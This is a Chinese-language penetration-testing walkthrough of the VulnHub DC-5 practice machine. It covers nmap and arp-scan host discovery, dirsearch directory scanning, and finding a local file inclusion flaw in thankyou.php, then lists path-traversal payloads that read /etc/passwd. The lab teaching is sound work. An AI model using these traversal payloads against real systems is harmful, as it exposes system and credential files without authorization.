VulnHub DC-5 靶机渗透测试中,如何找到并利用特定漏洞进行攻击?
摘要:VulnHub DC-5 靶机渗透测试笔记 靶机信息 靶机名称:DC-5 靶机来源:VulnHub 目标:获取 root 权限,找到最终 flag 难度:⭐⭐⭐☆☆(中等) 涉及技术:信息收集、文件包含漏洞(LFI)、日志污染、Webshe
VulnHub DC-5 靶机渗透测试笔记
靶机信息
靶机名称:DC-5
靶机来源:VulnHub
目标:获取 root 权限,找到最终 flag
难度:⭐⭐⭐☆☆(中等)
涉及技术:信息收集、文件包含漏洞(LFI)、日志污染、Webshell、Screen 4.5.0 SUID 提权
一、信息收集
1.1 主机发现
知识点: -sn 是 Ping Scan(主机发现),不进行端口扫描。
作用:只探测目标主机是否存活,不扫描任何端口。
以前的写法是 -sP,新版 nmap 改成了 -sn,两者效果一样。
ifconfig
nmap -sn 192.168.168.0/24
还可以用 arp-scan 扫描,两者对比如下:
arp-scan -l
对比项
arp-scan -l
nmap -sn
扫描范围
仅本网段
本地+跨网段
速度
极快
较快
准确性
几乎100%
可能被防火墙拦截
能否绕过防火墙
ARP无法被过滤
ICMP可能被屏蔽
获取信息
IP+MAC+制造商
IP+端口+系统
扫描结果
192.168.168.1 → VM8 网卡
192.168.168.2 → 网关
192.168.168.128 → Kali 本机
192.168.168.169 → 靶机 DC-5
192.168.168.254 → DHCP 服务器
1.2 端口与服务扫描
nmap -A -p- 192.168.168.169
80 → nginx 1.6.2(主要攻击面)
111 → rpcbind
53552 → RPC 状态
1.3 Web 信息收集
插件识别:
只有 Contact 页面有点功能:
二、漏洞发现
2.1 发现文件包含线索
留言板随便输入,提交后跳转到:
http://192.168.168.169//thankyou.php?firstname=1&lastname=1&country=canada&subject=1
一直刷新发现下面的年份会改变
2.2 目录扫描
dirsearch -u http://192.168.168.169/
# 如果没有安装先执行
apt-get install dirsearch
发现 /footer.php,这个页面刷新年份也会变:
http://192.168.168.169/footer.php
猜测: thankyou.php 包含了 footer.php 文件,存在文件包含漏洞。
2.3 验证文件包含漏洞(LFI)
尝试在 URL 中添加 filename 参数读取系统文件:
&filename=../../../../../etc/passwd
成功读取!
三、文件包含漏洞原理
知识点: 为什么要用 ../../../../../etc/passwd 而不是直接 /etc/passwd?
情况1:直接包含
include($_GET['file']);
// /etc/passwd ✅ 可以
// ../../../etc/passwd ✅ 也可以
情况2:拼接了前缀
include("./files/" . $_GET['file']);
// /etc/passwd ✅ 可以(绝对路径会覆盖前缀)
// ../../../etc/passwd ✅ 也可以(跳出目录)
情况3:拼接了后缀
include($_GET['file'] . ".php");
// /etc/passwd ❌ 变成 /etc/passwd.php
// ../../../etc/passwd ❌ 变成 ../../../etc/passwd.php
建议跑的时候多加几个 payload:
/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
关于为什么判断是 Linux 系统读取 /etc/passwd,最常用的判断方法就是 Linux 对大小写敏感,Windows 不敏感:
四、参数爆破确认文件包含参数名
使用 fuzzDicts 字典爆破参数名:
fuzzDicts-master\paramDict\php.txt
很容易就爆破出来了:
参数是 file:
查看源代码看得更清楚。
